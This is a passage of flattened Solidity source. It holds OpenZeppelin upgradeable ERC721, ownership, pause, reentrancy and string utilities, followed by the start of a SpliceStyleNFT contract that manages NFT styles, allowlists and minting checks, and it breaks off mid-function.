/** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981Upgradeable is IERC165Upgradeable { /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165Upgradeable.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; //https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol library BytesLib { function toUint32(bytes memory _bytes, uint256 _start) internal pure returns (uint32) { require(_bytes.length >= _start + 4, 'toUint32_outOfBounds'); uint32 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x4), _start)) } return tempUint; } function toUint64(bytes memory _bytes, uint256 _start) internal pure returns (uint64) { require(_bytes.length >= _start + 8, 'toUint64_outOfBounds'); uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), _start)) } return tempUint; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; //https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol library ArrayLib { function contains(address[] memory arr, address item) internal pure returns (bool) { for (uint256 j = 0; j < arr.length; j++) { if (arr[j] == item) return true; } return false; } } // contracts/ISpliceStyleNFT.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import './ISplicePriceStrategy.sol'; struct Allowlist { //counting down uint32 numReserved; uint64 reservedUntil; uint8 mintsPerAddress; bytes32 merkleRoot; } struct Partnership { address[] collections; uint64 until; /// @notice exclusive partnerships mean that all style inputs must be covered by the partnership /// @notice unexclusive partnerships require only 1 input to be covered bool exclusive; } struct StyleSettings { //counting up uint32 mintedOfStyle; uint32 cap; ISplicePriceStrategy priceStrategy; bool salesIsActive; bool isFrozen; string styleCID; uint8 maxInputs; address paymentSplitter; } // contracts/SpliceStyleNFT.sol // SPDX-License-Identifier: MIT /* LCL SSL CSL SSL LCI ISL LCL ISL CI ISL PEE EEL EES LEEL IEE EEI PEE EES LEEL EES PEE EEL EES LEEL IEE EEI PEE EES LEEL EES PEE EEL EES LEEL IEE LL PEE EES LEEL LL PEE EEL EES LEEL IEE PEE EES LEEL PEE EEL EES LEEL IEE PEE EES LEEL LLL PEE LL EES LEEL IEE IPL PEE LLL LEEL EES LLL PEE EES SSL IEE PEC PEE LLL LEEL EES SEE PEE EES IEE PEC PEE EES LEEL LLL SEE PEE EES IEE PEC PEE EES LEEL SEE PEE EES IEE PEC PEE EES LEEL LL SEE PEE EES IEE PEC PEE EES LEEL EES SEE PEE EES IEE PEC PEE EES LEEL EES LSI LSI LCL LSS ISL LSI ISL LSS ISL */ pragma solidity 0.8.10; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/math/SafeCastUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import './ISplicePriceStrategy.sol'; import './Splice.sol'; import './Structs.sol'; import './ArrayLib.sol'; import './ReplaceablePaymentSplitter.sol'; import './PaymentSplitterController.sol'; contract SpliceStyleNFT is ERC721EnumerableUpgradeable, OwnableUpgradeable, ReentrancyGuardUpgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; using SafeCastUpgradeable for uint256; error BadReservationParameters(uint32 reservation, uint32 mintsLeft); error AllowlistDurationTooShort(uint256 diff); /// @notice you wanted to set an allowlist on a style that already got one error AllowlistNotOverridable(uint32 styleTokenId); /// @notice someone wanted to modify the style NFT without owning it. error NotControllingStyle(uint32 styleTokenId); /// @notice The style cap has been reached. You can't mint more items using that style error StyleIsFullyMinted(); /// @notice Sales is not active on the style error SaleNotActive(uint32 styleTokenId); /// @notice Reservation limit exceeded error PersonalReservationLimitExceeded(uint32 styleTokenId); /// @notice error NotEnoughTokensToMatchReservation(uint32 styleTokenId); /// @notice error StyleIsFrozen(); error OriginNotAllowed(string reason); error BadMintInput(string reason); error CantFreezeAnUncompleteCollection(uint32 mintsLeft); error InvalidCID(); //https://docs.opensea.io/docs/metadata-standards#ipfs-and-arweave-uris event PermanentURI(string _value, uint256 indexed _id); event Minted(uint32 indexed styleTokenId, uint32 cap, string metadataCID); event SharesChanged(uint16 percentage); event AllowlistInstalled( uint32 indexed styleTokenId, uint32 reserved, uint8 mintsPerAddress, uint64 until ); CountersUpgradeable.Counter private _styleTokenIds; mapping(address => bool) public isStyleMinter; mapping(uint32 => StyleSettings) styleSettings; mapping(uint32 => Allowlist) allowlists; /// @notice how many pieces has an (allowed) address already minted on a style mapping(uint32 => mapping(address => uint8)) mintsAlreadyAllowed; /** * @dev styleTokenId => Partnership */ mapping(uint32 => Partnership) private _partnerships; uint16 public ARTIST_SHARE; Splice public spliceNFT; PaymentSplitterController public paymentSplitterController; function initialize() public initializer { __ERC721_init('Splice Style NFT', 'SPLYLE'); __ERC721Enumerable_init_unchained(); __Ownable_init_unchained(); __ReentrancyGuard_init(); ARTIST_SHARE = 8500; } modifier onlyStyleMinter() { require(isStyleMinter[msg.sender], 'not allowed to mint styles'); _; } modifier onlySplice() { require(msg.sender == address(spliceNFT), 'only callable by Splice'); _; } modifier controlsStyle(uint32 styleTokenId) { if (!isStyleMinter[msg.sender] && msg.sender != ownerOf(styleTokenId)) { revert NotControllingStyle(styleTokenId); } _; } function updateArtistShare(uint16 share) public onlyOwner { require(share <= 10000 && share > 7500, 'we will never take more than 25%'); ARTIST_SHARE = share; emit SharesChanged(share); } function setPaymentSplitter(PaymentSplitterController ps) external onlyOwner { if (address(paymentSplitterController) != address(0)) { revert('can only be called once.'); } paymentSplitterController = ps; } function setSplice(Splice _spliceNFT) external onlyOwner { if (address(spliceNFT) != address(0)) { revert('can only be called once.'); } spliceNFT = _spliceNFT; } function toggleStyleMinter(address minter, bool newValue) external onlyOwner { isStyleMinter[minter] = newValue; } function getPartnership(uint32 styleTokenId) public view returns ( address[] memory collections, uint256 until, bool exclusive ) { Partnership memory p = _partnerships[styleTokenId]; return (p.collections, p.until, p.exclusive); } /** * @dev we assume that our metadata CIDs are folder roots containing a /metadata.json. That's how nft.storage does it. */ function _metadataURI(string memory metadataCID) private pure returns (string memory) { return string(abi.encodePacked('ipfs://', metadataCID, '/metadata.json')); } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), 'nonexistent token'); return _metadataURI(styleSettings[uint32(tokenId)].styleCID); } /** * todo if there's more than one mint request in one block the quoted fee might be lower * than what the artist expects, (when using a bonded price strategy) * @return fee the fee required to mint splices of that style */ function quoteFee( uint32 styleTokenId, IERC721[] memory originCollections, uint256[] memory originTokenIds ) public view returns (uint256 fee) { fee = styleSettings[styleTokenId].priceStrategy.quote( styleTokenId, originCollections, originTokenIds ); } function getSettings(uint32 styleTokenId) public view returns (StyleSettings memory) { return styleSettings[styleTokenId]; } function isSaleActive(uint32 styleTokenId) public view returns (bool) { return styleSettings[styleTokenId].salesIsActive; } function toggleSaleIsActive(uint32 styleTokenId, bool newValue) external controlsStyle(styleTokenId) { if (isFrozen(styleTokenId)) { revert StyleIsFrozen(); } styleSettings[styleTokenId].salesIsActive = newValue; } /** * @return how many mints are left on that style */ function mintsLeft(uint32 styleTokenId) public view returns (uint32) { return styleSettings[styleTokenId].cap - styleSettings[styleTokenId].mintedOfStyle; } /** * @return how many mints are currently reserved on the allowlist */ function reservedTokens(uint32 styleTokenId) public view returns (uint32) { if (block.timestamp > allowlists[styleTokenId].reservedUntil) { //reservation period has ended return 0; } return allowlists[styleTokenId].numReserved; } /** * @return how many splices can be minted except those reserved on an allowlist for that style */ function availableForPublicMinting(uint32 styleTokenId) public view returns (uint32) { return styleSettings[styleTokenId].cap - styleSettings[styleTokenId].mintedOfStyle - reservedTokens(styleTokenId); } /** * @param allowlistProof a list of leaves in the merkle tree that are needed to perform the proof * @param requestor the subject account of the proof * @return whether the proof could be verified */ function verifyAllowlistEntryProof( uint32 styleTokenId, bytes32[] memory allowlistProof, address requestor ) external view returns (bool) { return MerkleProofUpgradeable.verify( allowlistProof, allowlists[styleTokenId].merkleRoot, //or maybe: https://ethereum.stackexchange.com/questions/884/how-to-convert-an-address-to-bytes-in-solidity/41356 keccak256(abi.encodePacked(requestor)) ); } /** * @dev called by Splice to decrement the allowance for requestor */ function decreaseAllowance(uint32 styleTokenId, address requestor) external nonReentrant onlySplice { // CHECKS if ( mintsAlreadyAllowed[styleTokenId][requestor] + 1 > allowlists[styleTokenId].mintsPerAddress ) { revert PersonalReservationLimitExceeded(styleTokenId); } if (allowlists[styleTokenId].numReserved < 1) { revert NotEnoughTokensToMatchReservation(styleTokenId); } // EFFECTS allowlists[styleTokenId].numReserved -= 1; mintsAlreadyAllowed[styleTokenId][requestor] += 1; } /** * @notice an allowlist gives privilege to a dedicated list of users to mint this style by presenting a merkle proof @param styleTokenId the style token id * @param numReserved_ how many reservations shall be made * @param mintsPerAddress_ how many mints are allowed per one distinct address * @param merkleRoot_ the merkle root of a tree of allowed addresses * @param reservedUntil_ a timestamp until when the allowlist shall be in effect */ function addAllowlist( uint32 styleTokenId, uint32 numReserved_, uint8 mintsPerAddress_, bytes32 merkleRoot_, uint64 reservedUntil_ ) external controlsStyle(styleTokenId) { //CHECKS if (allowlists[styleTokenId].reservedUntil != 0) { revert AllowlistNotOverridable(styleTokenId); } uint32 stillAvailable = mintsLeft(styleTokenId); if ( numReserved_ > stillAvailable || mintsPerAddress_ > stillAvailable //that 2nd edge case is actually not important (minting would fail anyway when cap is exceeded) ) { revert BadReservationParameters(numReserved_, stillAvailable); } if (reservedUntil_ < block.timestamp + 1 days) { revert AllowlistDurationTooShort(reservedUntil_); } //EFFECTS allowlists[styleTokenId] = Allowlist({ numReserved: numReserved_, merkleRoot: merkleRoot_, reservedUntil: reservedUntil_, mintsPerAddress: mintsPerAddress_ }); emit AllowlistInstalled( styleTokenId, numReserved_, mintsPerAddress_, reservedUntil_ ); } /** * @dev will revert when something prevents minting a splice */ function isMintable( uint32 styleTokenId, IERC721[] memory originCollections, uint256[] memory originTokenIds, address minter ) public view returns (bool) { if (!isSaleActive(styleTokenId)) { revert SaleNotActive(styleTokenId); } if ( originCollections.length == 0 || originTokenIds.length == 0 || originCollections.length != originTokenIds.length ) { revert BadMintInput('inconsistent input lengths'); } if (styleSettings[styleTokenId].maxInputs < originCollections.length) { revert OriginNotAllowed('too many inputs'); } Partnership memory partnership = _partnerships[styleTokenId]; bool partnershipIsActive = (partnership.collections.length > 0 && partnership.until > block.timestamp); uint8 partner_count = 0; for (uint256 i = 0; i < originCollections.length; i++) { if (i > 0) { if ( 